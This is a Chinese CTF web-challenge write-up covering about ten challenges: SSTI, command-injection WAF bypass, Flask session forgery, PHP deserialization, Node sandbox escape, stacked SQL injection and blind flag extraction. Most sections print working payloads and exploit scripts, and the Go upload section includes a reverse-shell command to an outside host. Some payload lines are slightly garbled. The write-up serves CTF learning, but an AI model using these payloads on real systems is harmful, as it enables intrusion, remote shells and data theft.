赞
踩
打开题目,发现有三个链接,分别看一下
第一个提示flag位置第二个由题目得知,其为tornado里的render函数
第三个给算MD5的式子,结合访问的参数值,猜测如下
filehash=md5(cookie_secret+md5(filename))
首先我们要找到注入点,filename肯定是文件名,那么只好尝试参数filehash
?filename=/flag.txt&filehash={{7*7}}
发现跳转另一个页面,那么再次输入{{7*7}}
发现存在注入点,并且被过滤了
这里关键是要去得到cookie_secret的值,借助百度,Tornado框架的附属文件handler.settings中存在cookie_secret,修改下payload
得到cookie_secret后,用脚本生成拼接后的MD5值
(注意是点号连接)
<?php
$a='/fllllllllllllag';
$b='5b4ac501-8d61-4a41-ba8a-97056572c6ea';
$c=md5($b.(md5($a)));
echo $c;
得到flag
源码
from flask import Flask, request, make_response import uuid import os # flag in /flag app = Flask(__name__) def waf(rce): black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ ' for black in black_list: if black in rce: return False return True @app.route('/', methods=['GET']) def index(): if request.args.get("Ňśś"): nss = request.args.get("Ňśś") if waf(nss): os.popen(nss) else: return "waf" return "/source" @app.route('/source', methods=['GET']) def source(): src = open("app.py", 'rb').read() return src if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=8080)
简单的flask框架,在./
的路由下存在GET参数,然后绕过waf过滤来命令执行
不难发现黑名单过滤了/
,这里用的是pwd构造出/
,然后结合存在app.py,我们用cp命令把/flag
复制到app.py里面
我们先看一下怎么利用pwd构造出/
首先pwd表示的是当前工作目录
那如果我们构造以下语句
cd ..&&cd ..&&pwd
构造出根目录
我们要把flag复制到app.py,但是我们不知道当前目录是什么,所以多尝试看看需要几个cd ..
payload
cp $(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo $(pwd)flag) app.py
考虑到过滤,先用%09代替空格,然后url编码一下
cp%09%24%28cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26echo%09%24%28pwd%29flag%29%09app%2Epy
由于不能直接打开app.py,我们需要访问./source
打开
得到flag
先创建一个静态访问的文档
mkdir%09static
payload
tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag
//等效于tar czf static/flag.tar.gz /flag
注:czf为tar命令的参数
然后访问./static/flag.tar.gz
下载flag
考点:seed生成伪随机数,session伪造
打开题目,发现可以读取用户信息
这里查看下网络,发现是python2环境
读取下app.py
源码如下
# encoding:utf-8 import re import random import uuid import urllib from flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random() * 233) app.debug = True @app.route('/') def index(): session['username'] = 'www-data' return 'Hello World! Read somethings' @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('^file.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response' @app.route('/flag') def flag(): if session and session['username'] == 'fuck': return open('/flag.txt').read() else: return 'Access denied' if __name__ == '__main__': app.run(debug=True, host="0.0.0.0")
源码非常简单,只要session中的username值为fuck即可
我们看看如何伪造session,下面给出key的获取方式
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
uuid.getnode()
这个代表着Mac地址,我们尝试读取一下(file用load_file替换)
?url=local_file:///sys/class/net/eth0/address
然后再写脚本去爆破得到key(注意这里是python2环境)
import random
random.seed(0x0242ac02aff2)
print(str(random.random()*233))
然后解密一下
修改为fuck,再加密得到cookie值
bp抓包修改,得到flag
考点:MD5强等于,sha1强等于,date函数特性
源码
<?php error_reporting(0); highlight_file(__FILE__); class date{ public $a; public $b; public $file; public function __wakeup() { if(is_array($this->a)||is_array($this->b)){ die('no array'); } if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){ $content=date($this->file); $uuid=uniqid().'.txt'; file_put_contents($uuid,$content); $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid)); echo file_get_contents($data); } else{ die(); } } } unserialize(base64_decode($_GET['code']));
分析一下,首先判断a和b是否为数组,然后进行判断MD5和sha1是否强等于;如果为true,那么将file值传入date函数并赋值给变量content;使用 uniqid() 生成一个唯一的标识符,并将其与 .txt 扩展名拼接为文件名,赋值给变量 $uuid;最后就是进行正则匹配,读取文件
这里绕过强等于可以利用数字1和字符1
分别赋值即可绕过,那么我们再来看看date函数,我们本地测试下
<?php
$a='/flag';
print(date($a));
运行结果为fSaturdayam9
,可以发现字符串的l
和g
变成了Saturday
和m9
,当我们试试防止其转义添加反斜杠时,成功构造出/flag
<?php
$a='/f\l\a\g';
print(date($a));
所以源码中的file值为/f\l\a\g
exp如下
<?php
class date{
public $a;
public $b;
public $file;
}
$A=new date();
$A->a=1;
$A->b='1';
$A->file='/f\l\a\g';
echo base64_encode(serialize($A));
得到flag
考点:ssti
打开题目,尝试输入{{7*7}}
发现报错,说明存在过滤
替换一下
{%print(7*7)%}
成功注入
我们可以bp抓包fuzz测试下过滤了什么
可以发现class也被过滤了
payload
{%print(lipsum.__globals__['o''s']['pop''en']('env').read())%}
注:过滤了popen,用字符串拼接读取环境变量
得到flag
考点:nodeJs,整数溢出,vm沙箱逃逸
打开题目,查看源码
const express = require('express'); const bodyParser = require('body-parser'); const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库 const fs = require('fs'); const app = express(); app.use(bodyParser.urlencoded({ extended: false })); app.use(bodyParser.json()); // 2020.1/WORKER2 老板说为了后期方便优化 app.use((req, res, next) => { if (req.path === '/eval') { let delay = 60 * 1000; console.log(delay); if (Number.isInteger(parseInt(req.query.delay))) { delay = Math.max(delay, parseInt(req.query.delay)); } const t = setTimeout(() => next(), delay); // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事 setTimeout(() => { clearTimeout(t); console.log('timeout'); try { res.send('Timeout!'); } catch (e) { } }, 1000); } else { next(); } }); app.post('/eval', function (req, res) { let response = ''; if (req.body.e) { try { response = saferEval(req.body.e); } catch (e) { response = 'Wrong Wrong Wrong!!!!'; } } res.send(String(response)); }); // 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI app.get('/source', function (req, res) { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync('./index.js')); }); // 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口 app.get('/version', function (req, res) { res.set('Content-Type', 'text/json;charset=utf-8'); res.send(fs.readFileSync('./package.json')); }); app.get('/', function (req, res) { res.set('Content-Type', 'text/html;charset=utf-8'); res.send(fs.readFileSync('./index.html')) }) app.listen(80, '0.0.0.0', () => { console.log('Start listening') });
分析一下,当访问./eval
路径即收到请求时,会执行此函数。首先会检测是否为./eval
路径,然后会定义变量delay,初始值为60秒;如果请求的查询参数 delay 是一个整数,那么会将 delay 更新为当前 delay 和 req.query.delay 中较大的值。
if (Number.isInteger(parseInt(req.query.delay)))
观察到会被强制转换为int型,可以利用整数溢出绕过
然后就是./eval
路由,如果请求参数e存在,那么会返回saferEval(req.body.e)
此函数存在命令执行漏洞,搜索一下,会发现要利用vm沙箱逃逸的知识
poc如下
const saferEval = require("./src/index");
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
即e的值为process
payload
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
得到flag
考点:go文件上传,反弹shell
题目提示没有任何过滤,尝试上传一句话木马
这里发现确实上传成功了,但是看到go help
应该是go语言写的,go 1
提示未知命令
猜测命令构成为
go 文件名 上传文件
也就是说我们如果上传名为run.go的文件
那么将执行go run run.go
,也就是解析我们上传的go文件
go文件反弹shell脚本如下
package main import ( "fmt" "log" "os/exec" ) func main() { cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1") out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("combined out:\n%s\n", string(out)) log.Fatalf("cmd.Run() failed with %s\n", err) } fmt.Printf("combined out:\n%s\n", string(out)) }
可以发现上传成功并且被解析
那么我们nc监听一下,成功反弹shell
然后flag被分成两部分
解码得到flag
考点:堆叠注入
源码
<? include "mysql.php"; include "flag.php"; if ( $_GET['uname'] != '' && isset($_GET['uname'])) { $uname=$_GET['uname']; if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){ die('hacker'); } $sql="SELECT * FROM ccctttfff WHERE uname='$uname';"; echo "$sql<br>"; mysqli_multi_query($db, $sql); $result = mysqli_store_result($db); $row = mysqli_fetch_row($result); echo "<br>"; echo "<br>"; if (!$row) { die("something wrong"); } else { print_r($row); echo $row['uname']."<br>"; } if ($row[1] === $uname) { die($flag); } } highlight_file(__FILE__);
分析一下,首先是过滤了一些关键字,给出了sql查询语句为单引号闭合;然后是mysqli_multi_query()函数可以处理多条语句,那么可以使用堆叠注入;最后检测查询结果第二位是否为变量uname的值,如果是则返回flag
我们先看看有几列
?uname=-1' union select 1,2,3;#
可以发现有三列,我们已经知道得到flag的条件为$row[1] === $uname
也就是说只要我们查得到数据,即可得到flag
因此我们插入一个我们查得到的数据(表名给了为ccctttfff)
payload
?uname=-1' union select 1,2,3;insert into ccctttfff value(1,1,1);#
然后我们再访问插入的uname=1
,得到flag
考点:session伪造、python盲注
打开题目,随便提交数据上去
发现不是admin权限,但是也给了部分源码
@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY
给了./getkey
路由,如果不为GET方式传参,得到key
这里的绕过思路是抓包,更换请求方式如HEAD请求
解码得到key
然后伪造session
修改cookie,得到源码
from flask import Flask, request, session, render_template, url_for,redirect,render_template_string import base64 import urllib.request import uuid import flag SECRET_KEY=str(uuid.uuid4()) app = Flask(__name__) app.config.update(dict( SECRET_KEY=SECRET_KEY, )) #src in /app @app.route('/') @app.route('/index',methods=['GET']) def index(): return render_template("index.html") @app.route('/get_data', methods=["GET",'POST']) def get_data(): data = request.form.get('data', '123') if type(data) is str: data=data.encode('utf8') url = request.form.get('url', 'http://127.0.0.1:8888/') if data and url: session['data'] = data session['url'] = url session["admin"]=False return redirect(url_for('home')) return redirect(url_for('/')) @app.route('/home', methods=["GET"]) def home(): if session.get("admin",False): return render_template_string(open(__file__).read()) else: return render_template("home.html",data=session.get('data','Not find data...')) @app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY return render_template_string('''@app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY''') @app.route('/get_hindd_result', methods=["GET"]) def get_hindd_result(): if session['data'] and session['url']: if 'file:' in session['url']: return "no no no" data=(session['data']).decode('utf8') url_text=urllib.request.urlopen(session['url']).read().decode('utf8') if url_text in data or data in url_text: return "you get it" return "what ???" @app.route('/getflag', methods=["GET"]) def get_flag(): res = flag.waf(request) return res if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=8888)
分析一下,./getflag
路由是最直接的得到flag方式,但是waf我们并不知道;我们看向./get_hindd_result
路由定义的get_hindd_result()方法,是否session中有参数data和url,然后检测是否有file出现(大小写绕过即可),然后对session中的参数data值进行utf-8解码,接着读取文件,如果读取的文件在data值里或者data值里有读取的文件,返回you get it
可以猜测我们能读取到flag
由于这个flag.py是当前正在运行的,并且我们知道flag在环境变量里,所以可以通过/proc/self/environ读到flag,还是通过盲注即可
脚本如下
import string import requests url1="http://node4.anna.nssctf.cn:28831/get_data" url2="http://node4.anna.nssctf.cn:28831/get_hindd_result" flag="NSSCTF{" while 1: for i in string.printable: tmp_flag=flag+i data={"url":"File:///proc/self/environ","data":tmp_flag} res=requests.session() res.get(url1,data=data) session_tmp=str(res.cookies.values())[2:-2] flag_resp=requests.get(url2,cookies={"session":session_tmp}) if "you get it" in flag_resp.text: flag+=i print(flag) break
解释一下,创建session对象,对url1发送get请求,然后将该cookie值赋值给变量session_tmp,再去对url2发送请求,遍历可打印字符,看该字符是否在读取的文件里,也就是盲注flag
得到flag
考点:nodejs函数漏洞、沙箱逃逸
打开题目,在源码处发现hint
先进行小写转换判断是否为admin,再进行大写转换判断是否为ADMIN,最后判断密码是否为admin123
这里的考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı
会变成I
所以我们可以admın
绕过,密码就是admin123
成功登陆后,发现源码藏着hint
let calc = req.body.calc; let flag = false; //waf for (let i = 0; i < calc.length; i++) { if (flag || "/(flc'\".".split``.some(v => v == calc[i])) { flag = true; calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length); } } //截取 calc = calc.substring(0, 64); //去空 calc = calc.replace(/\s+/g, ""); calc = calc.replace(/\\/g, "\\\\"); //小明的同学过滤了一些比较危险的东西 while (calc.indexOf("sh") > -1) { calc = calc.replace("sh", ""); } while (calc.indexOf("ln") > -1) { calc = calc.replace("ln", ""); } while (calc.indexOf("fs") > -1) { calc = calc.replace("fs", ""); } while (calc.indexOf("x") > -1) { calc = calc.replace("x", ""); } try { result = eval(calc); }
分析一下
/(flc'\".
字符,如果存在被过滤的字符,那么将其替换为*
结合提示字符串的length和数组的length是不一样的
我们不妨本地测试下
var calc=["aaa","bbb","1"];
let flag=false;
console.log(calc.length);
//waf
for (let i = 0; i < calc.length; i++) {
if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
flag = true;
calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
console.log(calc);
}
}
运行一下,可以发现并不能触发,因为没有出现危险字符
如果我们将第三个改为危险字符.
,不难发现从第四个开始全部变成了*
也就是说当数组长度3,且危险字符在第三个时,前面字符长度3全部逃逸
我们继续测试,如果危险字符在字符长度3之前呢,也就是calc=["a(a","1","."];
可以发现(
成功逃逸
calc数组长度一定要大于等于前面执行命令的字符串长度
回到题目试试,发现成功
构造payload
calc[0]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[1]=1&calc[2]=1&calc[3]=1&calc[4]=1&calc[5]=1&calc[6]=1&calc[7]=1&calc[8]=1&calc[9]=1&calc[10]=1&calc[11]=1&calc[12]=1&calc[13]=1&calc[14]=1&calc[15]=1&calc[16]=1&calc[17]=1&calc[18]=1&calc[19]=1&calc[20]=1&calc[21]=1&calc[22]=1&calc[23]=1&calc[24]=1&calc[25]=1&calc[26]=1&calc[27]=1&calc[28]=1&calc[29]=1&calc[30]=1&calc[31]=1&calc[32]=1&calc[33]=1&calc[34]=1&calc[35]=1&calc[36]=1&calc[37]=1&calc[38]=1&calc[39]=1&calc[40]=1&calc[41]=1&calc[42]=1&calc[43]=1&calc[44]=1&calc[45]=1&calc[46]=1&calc[47]=1&calc[48]=1&calc[49]=1&calc[50]=1&calc[51]=1&calc[52]=1&calc[53]=1&calc[54]=1&calc[55]=1&calc[56]=1&calc[57]=1&calc[58]=1&calc[59]=1&calc[60]=1&calc[61]=1&calc[62]=1&calc[63]=.&calc[64]=1&calc[65]=.
解释:calc[0]即为我们要逃逸的RCE,长度为多少后面补充的数组长度为该数减1,使得数组长度等于逃逸命令的长度;注意不能出现/
,所以采用['/']
本来想继续读flag,但是源码中长度被限制了…
我们可以换种方法,导入 Node.js 的 child_process 模块,然后使用 Object.values() 方法获取该模块的所有属性值,通过下标来代替关键字去绕过
查找代码如下
const childProcess = require('child_process');
const values = Object.values(childProcess);
console.log(values);
我们可以使用execSync,下标为5
修改payload
calc[0]=Object.values(require(‘child_process’))5&calc[1]=1&calc[2]=1&calc[3]=1&calc[4]=1&calc[5]=1&calc[6]=1&calc[7]=1&calc[8]=1&calc[9]=1&calc[10]=1&calc[11]=1&calc[12]=1&calc[13]=1&calc[14]=1&calc[15]=1&calc[16]=1&calc[17]=1&calc[18]=1&calc[19]=1&calc[20]=1&calc[21]=1&calc[22]=1&calc[23]=1&calc[24]=1&calc[25]=1&calc[26]=1&calc[27]=1&calc[28]=1&calc[29]=1&calc[30]=1&calc[31]=1&calc[32]=1&calc[33]=1&calc[34]=1&calc[35]=1&calc[36]=1&calc[37]=1&calc[38]=1&calc[39]=1&calc[40]=1&calc[41]=1&calc[42]=1&calc[43]=1&calc[44]=1&calc[45]=1&calc[46]=1&calc[47]=1&calc[48]=1&calc[49]=1&calc[50]=1&calc[51]=1&calc[52]=1&calc[53]=1&calc[54]=1&calc[55]=1&calc[56]=1&calc[57]=1&calc[58]=1&calc[59]=1&calc[60]=1&calc[61]=1&calc[62]=1&calc[63]=.
将/G* 表示的文件列表作为输入,然后将其内容输出到文件 p 中
然后nl命令读取即可
calc[0]=require(‘child_process’).spawnSync(‘nl’,[‘p’]).stdout.toString();&calc[1]=1&calc[2]=1&calc[3]=1&calc[4]=1&calc[5]=1&calc[6]=1&calc[7]=1&calc[8]=1&calc[9]=1&calc[10]=1&calc[11]=1&calc[12]=1&calc[13]=1&calc[14]=1&calc[15]=1&calc[16]=1&calc[17]=1&calc[18]=1&calc[19]=1&calc[20]=1&calc[21]=1&calc[22]=1&calc[23]=1&calc[24]=1&calc[25]=1&calc[26]=1&calc[27]=1&calc[28]=1&calc[29]=1&calc[30]=1&calc[31]=1&calc[32]=1&calc[33]=1&calc[34]=1&calc[35]=1&calc[36]=1&calc[37]=1&calc[38]=1&calc[39]=1&calc[40]=1&calc[41]=1&calc[42]=1&calc[43]=1&calc[44]=1&calc[45]=1&calc[46]=1&calc[47]=1&calc[48]=1&calc[49]=1&calc[50]=1&calc[51]=1&calc[52]=1&calc[53]=1&calc[54]=1&calc[55]=1&calc[56]=1&calc[57]=1&calc[58]=1&calc[59]=1&calc[60]=1&calc[61]=1&calc[62]=1&calc[63]=.
得到flag
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。